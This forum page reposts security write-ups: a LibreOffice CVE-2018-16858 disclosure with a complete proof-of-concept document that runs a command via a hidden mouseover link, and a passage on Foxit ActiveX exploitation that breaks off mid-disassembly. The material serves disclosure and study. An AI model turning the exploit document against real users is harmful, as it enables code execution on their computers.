-
Posts
18740 -
Joined
-
Last visited
-
Days Won
711
Everything posted by Nytro
-
Friday, February 1, 2019 Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way. Tested LibreOffice version: 6.1.2.1 (6.0.x does not allow to pass parameters) Tested Operating Systems: Windows + Linux (both affected) The feature I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used. I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it): I choosed to use the onmouseover event and the python sample installed with LibreOffice. After assigning this script (or event as it is called in the LibreOffice world) and saving this file, I was able to have a look at the created file structure: <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/> This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py The file contains a createTable function. So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog. Important side note: LibreOffice ships with its own python interpreter, so there is no need that python is actually installed The Bug Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this: <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/> I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor! To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped. That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document. Exploitation To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler: "LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension." If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled. The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header. The solution For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch): <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$functionName(param1,param2)?language=Python&location=share" xlink:type="simple"/> As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code: File: C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py Code: def tempfilepager(text, cmd): """Page through text by invoking a program on a temporary file.""" import tempfile filename = tempfile.mktemp() with open(filename, 'w', errors='backslashreplace') as file: file.write(text) try: os.system(cmd + ' "' + filename + '"') finally: os.unlink(filename) The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters: <script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&location=share" xlink:type="simple"/> Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload: Reporting the bug Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to officesecurity@lists.freedesktop.org, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via officesecurity@lists.freedesktop.org. The issue was verified and fixed quite fast. Timeline: 18.10.2018 - reported the bug 30.10.2018 - bug was fixed and added to daily builds 14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish 01.02.2019 - Blogpost published The path traversal is fixed in (I just tested these versions): Libreoffice: 6.1.4.2 Libreoffice: 6.0.7 Vulnerable: Openoffice: 4.1.6 (latest version) I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system. To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py) Additional note As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types. It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed) Proof-of-concept - Copy&Paste and save it with an .fodt extension! Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file. <?xml version="1.0" encoding="UTF-8"?> <office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text"> <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta> <office:settings> <config:config-item-set config:name="ooo:view-settings"> <config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item> <config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item> <config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item> <config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item> <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item> <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item> <config:config-item-map-indexed config:name="Views"> <config:config-item-map-entry> <config:config-item config:name="ViewId" config:type="string">view2</config:config-item> <config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item> <config:config-item config:name="ViewTop" config:type="long">2501</config:config-item> <config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item> <config:config-item config:name="VisibleTop" config:type="long">0</config:config-item> <config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item> <config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item> <config:config-item config:name="ZoomType" config:type="short">0</config:config-item> <config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item> <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item> <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item> <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item> <config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item> </config:config-item-map-entry> </config:config-item-map-indexed> </config:config-item-set> <config:config-item-set config:name="ooo:configuration-settings"> <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item> <config:config-item config:name="PrinterName" config:type="string"/> <config:config-item config:name="EmbeddedDatabaseName" config:type="string"/> <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/> <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item> <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item> <config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item> <config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item> <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item> <config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item> <config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item> <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item> <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item> <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/> <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item> <config:config-item config:name="PrinterSetup" config:type="base64Binary"/> <config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item> <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item> <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item> <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item> <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item> <config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item> <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item> <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item> <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item> <config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item> <config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item> <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item> <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item> <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item> <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item> <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item> <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item> <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item> <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item> <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item> <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/> <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item> <config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item> <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item> <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item> <config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item> <config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item> <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item> <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item> <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item> <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item> <config:config-item config:name="Rsid" config:type="int">1115298</config:config-item> <config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item> <config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item> <config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item> <config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item> <config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item> <config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item> <config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item> <config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item> <config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item> <config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item> <config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item> <config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item> <config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item> <config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item> <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintFaxName" config:type="string"/> <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item> </config:config-item-set> </office:settings> <office:scripts> <office:script script:language="ooo:Basic"> <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink"> <ooo:library-embedded ooo:name="Standard"/> </ooo:libraries> </office:script> </office:scripts> <office:font-face-decls> <style:font-face style:name="Arial1" svg:font-family="Arial" style:font-family-generic="swiss"/> <style:font-face style:name="Liberation Serif" svg:font-family="'Liberation Serif'" style:font-family-generic="roman" style:font-pitch="variable"/> <style:font-face style:name="Liberation Sans" svg:font-family="'Liberation Sans'" style:font-family-generic="swiss" style:font-pitch="variable"/> <style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="system" style:font-pitch="variable"/> <style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/> <style:font-face style:name="NSimSun" svg:font-family="NSimSun" style:font-family-generic="system" style:font-pitch="variable"/> </office:font-face-decls> <office:styles> <style:default-style style:family="graphic"> <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/> <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN"/> </style:default-style> <style:default-style style:family="paragraph"> <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/> <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/> </style:default-style> <style:default-style style:family="table"> <style:table-properties table:border-model="collapsing"/> </style:default-style> <style:default-style style:family="table-row"> <style:table-row-properties fo:keep-together="auto"/> </style:default-style> <style:style style:name="Standard" style:family="paragraph" style:class="text"/> <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text"> <style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" fo:keep-with-next="always"/> <style:text-properties style:font-name="Liberation Sans" fo:font-family="'Liberation Sans'" style:font-family-generic="swiss" style:font-pitch="variable" fo:font-size="14pt" style:font-name-asian="Microsoft YaHei" style:font-family-asian="'Microsoft YaHei'" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-size-asian="14pt" style:font-name-complex="Arial" style:font-family-complex="Arial" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-size-complex="14pt"/> </style:style> <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text"> <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/> </style:style> <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list"> <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/> </style:style> <style:style style:name="Caption" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties fo:margin-top="0.0835in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="12pt" fo:font-style="italic" style:font-size-asian="12pt" style:font-style-asian="italic" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss" style:font-size-complex="12pt" style:font-style-complex="italic"/> </style:style> <style:style style:name="Index" style:family="paragraph" style:parent-style-name="Standard" style:class="index"> <style:paragraph-properties text:number-lines="false" text:line-number="0"/> <style:text-properties style:font-size-asian="12pt" style:font-name-complex="Arial1" style:font-family-complex="Arial" style:font-family-generic-complex="swiss"/> </style:style> <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"> <style:text-properties fo:color="#000080" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/> </style:style> <text:outline-style style:name="Outline"> <text:outline-level-style text:level="1" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="2" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="3" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="4" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="5" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="6" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="7" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="8" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="9" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> <text:outline-level-style text:level="10" style:num-format=""> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab"/> </style:list-level-properties> </text:outline-level-style> </text:outline-style> <text:notes-configuration text:note-class="footnote" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="document"/> <text:notes-configuration text:note-class="endnote" style:num-format="i" text:start-value="0"/> <text:linenumbering-configuration text:number-lines="false" text:offset="0.1965in" style:num-format="1" text:number-position="left" text:increment="5"/> </office:styles> <office:automatic-styles> <style:style style:name="T1" style:family="text"> <style:text-properties officeooo:rsid="001104a2"/> </style:style> <style:page-layout style:name="pm1"> <style:page-layout-properties fo:page-width="8.5in" fo:page-height="11in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="0.7874in" fo:margin-bottom="0.7874in" fo:margin-left="0.7874in" fo:margin-right="0.7874in" style:writing-mode="lr-tb" style:footnote-max-height="0in"> <style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:line-style="solid" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> </office:automatic-styles> <office:master-styles> <style:master-page style:name="Standard" style:page-layout-name="pm1"/> </office:master-styles> <office:body> <office:text> <text:sequence-decls> <text:sequence-decl text:display-outline-level="0" text:name="Illustration"/> <text:sequence-decl text:display-outline-level="0" text:name="Table"/> <text:sequence-decl text:display-outline-level="0" text:name="Text"/> <text:sequence-decl text:display-outline-level="0" text:name="Drawing"/> <text:sequence-decl text:display-outline-level="0" text:name="Figure"/> </text:sequence-decls> <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://test/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1">move your mouse over the text</text:span></text:a></text:p> </office:text> </office:body> </office:document> Eingestellt von Alex Inführ Sursa: https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html
-
- 1
-
-
ActiveX Exploitation in 2019 :: Instantiation is not Scripting Feb 1, 2019 But didn’t Microsoft kill ActiveX? I hear you asking. Well they almost did. As most security practitioners know, ActiveX has had a long history of exploitation and its fair share of remote vulnerabilities. Microsoft themselves have had several ActiveX vulnerabilities disclosed along with many popular third party vendors. Microsoft released an update where they have essentially killed any scripting for ActiveX objects from a remote context. However, they did leave the ability for ActiveX controls to be instantiated. In some cases, this can still allow for remote code execution from parsing vulnerabilities. I believe was done for backwards compatibility reasons, for example, situations such as the Microsoft Management Console (MMC) which requires trusted ActiveX controls to be instantiated for system management. TL;DR In this post, I discuss the mitigations surrounding ActiveX and how they don’t prevent all attacks. Then I discuss the discovery and exploitation of CVE-2018-19418 and just the discovery of CVE-2018-19447 which are client-side vulnerabilities that allows for remote code execution. The only interaction that is required is that the victim opens a malicious office document. Introduction The Foxit website explains what Foxit Reader SDK ActiveX is, quickly summing it up as: PDF SDK ActiveX is ideal for product managers and developers who want an easy to use and a customizable visual component that they can simply drag and drop into their application to quickly create a PDF Viewing application without requiring any PDF expertise. There are two versions, the Standard and Professional versions. They differ in that the professional version allows you to run arbitrary JavaScript and has access to much more PDF features. These products are not to be confused with Foxit Reader’s own ActiveX control, which ships with its main product, Foxit Reader. Its own ActiveX control located at C:\Program Files\Foxit Software\Foxit Reader\plugins\FoxitReaderBrowserAx.dll will proxy off the parsing of a PDF to its regular binary, C:\Program Files\Foxit Software\Foxit Reader\FoxitReader.exe. So if there are any parsing vulnerabilities in this code, it can be reached via the DLL as well. Adobe do a similar thing, the only difference being is that it is ran in a sandbox. The other noticeable difference is that Adobe don’t have standalone ActiveX products which avoids the need for two different parsers. This avoids situations where a bug maybe patched in their core product, yet missed in other PDF parsers that they offer. The Target The targets I tested were FoxitPDFSDKActiveX540_Std.msi (eba1a06230cc1a39ccb1fb7f04448a0d78859b60) and FoxitPDFSDKActiveX540_Pro.msi (243a9099c9788dfcf38817f20208e5289b530f56) which were the latest at the time. However, before auditing the control, we need to make sure that we can even instantiate it without any popups or issues. As it turns out, both controls are Safe for Initialization and do not have the kill bit set. Loaded File: C:\Program Files\Foxit Software\Foxit PDF SDK ActiveX Std\bin\FoxitPDFSDK_AX_Std.ocx Name: FoxitPDFSDKStdLib Lib GUID: {5FE9D64A-3BC2-43CB-AA47-F0B0C510EBEA} Version: 5.0 Lib Classes: 7 Class FoxitPDFSDK GUID: {0F6C092B-6E4C-4976-B386-27A9FD9E96A1} Number of Interfaces: 1 Default Interface: _DFoxitPDFSDK RegKey Safe for Script: True RegKey Safe for Init: True KillBitSet: False So even though the settings allow us to script it, Microsoft prevents us from doing so with the latest updates (I’m not sure exactly when this was introduced). That’s good, because I audited several of the methods such as OpenFileAsync and found many trivially exploitable stack buffer overflows. I didn’t report them since there doesn’t exist a remote vector anymore. Initially I wanted a vulnerability that would affect both the standard and professional versions. Since both products share code, it wasn’t too hard to find what I was looking for. However, as mentioned previously, the standard version does not allow JavaScript. If I went after a memory corruption bug, then I may have a harder time for exploitation since I can’t script anything. The Vulnerabilities CVE-2018-19418 - Launch Action New Window Command Injection Since this was an untouched PDF parser that is remotely accessible I decided to go after simple things like logic vulnerabilities. The first thing I decided to do was cross reference all calls to CreateProcessW. As it turns out there was a few actually. But the most interesting was the one sub_1049FD60 at loc_104A0E80: .text:10481D95 loc_10481D95: ; CODE XREF: sub_10481D10+81 .text:10481D95 lea ecx, [ebp+ProcessInformation] .text:10481D98 push ecx ; lpProcessInformation .text:10481D99 lea edx, [ebp+StartupInfo] .text:10481D9C push edx ; lpStartupInfo .text:10481D9D push 0 ; lpCurrentDirectory .text:10481D9F push 0 ; lpEnvironment .text:10481DA1 push 0 ; dwCreationFlags .text:10481DA3 push 0 ; bInheritHandles .text:10481DA5 push 0 ; lpThreadAttributes .text:10481DA7 push 0 ; lpProcessAttributes .text:10481DA9 